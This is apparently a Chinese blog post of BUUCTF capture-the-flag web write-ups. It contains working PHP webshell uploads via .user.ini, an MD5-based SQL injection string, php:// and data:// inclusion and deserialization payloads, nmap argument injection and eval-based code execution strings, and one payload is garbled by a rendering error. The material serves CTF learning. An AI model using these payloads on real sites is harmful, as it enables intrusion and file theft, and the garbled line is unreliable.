buu

本文概要概述了多个CTF比赛中的技术挑战,包括HTTP请求头伪造、PHP上传漏洞利用、.user.ini文件技巧、MD5哈希绕过、伪协议使用、Nmap指令、PHP函数与编码、数据库安全漏洞等,展示了参赛者解决实际问题的策略和技巧。
摘要由CSDN通过智能技术生成

BUUCTF



[极客大挑战 2019]Http

从这个页面跳转

在这里插入图片描述

规定了浏览器
又规定浏览器

本地访问
本地访问

成功了
在这里插入图片描述
总结:
bp添加请求头:
x-forwarded-for:xxx.xxx.xxx.xxx(伪装http请求端ip)
referer:http://xxxxxxx.xxx(从哪个页面跳转)
User-Agent:xxxxxxxx(修改使用的浏览器)

[ACTF2020 新生赛]Upload

方法一、
上传php不成功
后缀改一改在这里插入图片描述
发现就直接给路径
想到小蚂蚁,连一下就好

方法二、
“打开就是执行“
(rdd说的
在这里插入图片描述
然后打开就直接可以看到flag了
但这里的后端好像没有检验php语言,所以用不用都没关系

其他方式暂无

总结:
关于php的绕过

[SUCTF 2019]CheckIn

本来想用小蚂蚁做的。感觉操作都是对的但是做不出来,暂时还没解决方法。(yes说他做这道题的时候一定会弄懂的)

第二种
先传一个.user.ini

GIF89a
auto_prepend_file=rgphp.jpg

在这里插入图片描述

然后再传

GIF89a 

<script language='php'>system('cat /flag');</script>

在这里插入图片描述

访问index.php就能执行了

总结:
.user.ini用法的详细介绍

可以借助.user.ini让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell
题目中有可执行的php文件就可以利用

类似题目
[unctf2020]easy_upload

[BJDCTF2020]Easy MD5

刚开始乱七八糟的东西试了一堆,没发现什么,然后就抓包看看
在这里插入图片描述
看到这个hint,然后这里没想到这个true居然有用。。。
然后在这里插入图片描述
原来默认是false的啊,然后找了一些wp
(但是这个原始16字符二进制格式是什么格式?

“ffifdyop这个字符串被 md5 哈希了之后会变成
276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6, 而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’ ’ or ’ 6xxxxx ’

等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数”

在这里插入图片描述
然后他就问喜不喜欢MD5,回答喜欢就可以得到flag
然后我比较懒,用数组就可以绕
a[]=0&b[]=1

然后就可以跳到另一个界面了
那还是很懒的输一下数组就好了

总结
刚开始其实没有注意到这个MD5里的参数值,看到这个hint就没什么想法。
主要就是第一步这里不太顺利。
记一下:MD5(string,raw)

[ZJCTF 2019]NiZhuanSiWei

开局一份源码

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ 
//要把welcome传到text,然后有两种方法,一个是php://input  一个是data
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
     //这里就读取文件,但是不能有flag出现
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

饿了,明天再写吧。

有的人干饭一干就是好几天。

下次再这么久不做题我就是猪。
!](https://img-blog.csdnimg.cn/20201209205420567.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xveGlf,size_16,color_FFFFFF,t_70)

首先就是这里要写入welccome在这里插入图片描述

php://input伪协议:

需要 allow_url_include 为 on ,可以访问请求的原始数据的只读流, 将post请求中的数据作为 PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
php://input点这里点这里点这里

data部分写的比较清楚
data点这里点这里点这里

两个都可以用,做题的时候用了data
在这里尝试下前面的

在这里插入图片描述
成功了,然后就继续往后

这里包含了file,然后给了个useless.php,那就看看
在这里插入图片描述
在这里插入图片描述
看到了 然后解码一下

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

然后是反序列化得到
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

给他加上去
在这里插入图片描述
然后就找到了在这里插入图片描述

总结
主要是把内容写入text的操作吧

php://input伪协议:

需要 allow_url_include 为 on ,可以访问请求的原始数据的只读流, 将post请求中的数据作为 PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
php://input点这里点这里点这里
data部分写的比较清楚
data点这里点这里点这里

其他都是以前见过的东西了

[BUUCTF 2018]Online Tool

在这里插入图片描述
打开就是题目了
然后发现两个不认识的函数

escapeshellarg
这个函数就是
1.给字符串加单引号
2.给存在的单引号转码
在这里插入图片描述

这个函数就是来转义用的,‘ 和 “ 不配对才转。
escapeshellcmd
在这里插入图片描述

再有就是这个在这里插入图片描述

这里能执行,还让传参,那肯定就是用这里了。
然后详细的看下他
扫描神器nmap
nmap输出结果选项
然后找到 nmap -oG result.txt 将输出写成特殊格式
另外也看到几个
了解一下可能以后有用

nmap -oN result.txt 将标准输出写入到指定文件中
nmap -oS result.txt 将输出写成特殊符号的形式,内容跟-oN是一样的,只是字体变了而已

然后可以用小蚂蚁连接,但也可以直接cat flag
然后再访问一下,就可以返回在这里插入图片描述
总结:
就两个函数的使用,还有一个nmap的指令。
内容在前面了这里就不说了。

[网鼎杯 2020 朱雀组]Nmap

往后翻了一下发现确实有类似的题目欸。

[BJDCTF2020]ZJCTF,不过如此

深入研究preg_replace与代码执行

payload1:利用源码给的getFlag函数


/next.php?\S*=${getFlag()}&cmd=system('cat /flag');

payload2:通过构造post传参

next.php?\S*=${eval($_POST[w])}
POST:
w=system("cat /flag");

[WUSTCTF2020]朴实无华

在这里插入图片描述

要求不能有空格,会把cat替换
ls看到有
在这里插入图片描述

用tac代替cat
用$IFSKaTeX parse error: Expected 'EOF', got '&' at position 59: …l4g.php?num=2e4&̲md5=0e215962017…IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

**总结:
cat用来显示文件的内容。
tac反序输出文件的内容,文件的最后一行显示在第一行
加密前后都0e开头
0e215962017
**

[CISCN 2019 初赛]Love Math

在这里插入图片描述
长度不超过80
黑名单
只能用白名单的函数

base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET"   //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}  //{}可以代替[]

用pi和abs是因为有长度限制

总结:
三个php数学函数:
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。

动态函数:
php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数例如: f u n c t i o n = " s a y H e l l o " ; function = "sayHello"; function="sayHello";function();

[强网杯 2019]高明的黑客

比较完整了

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值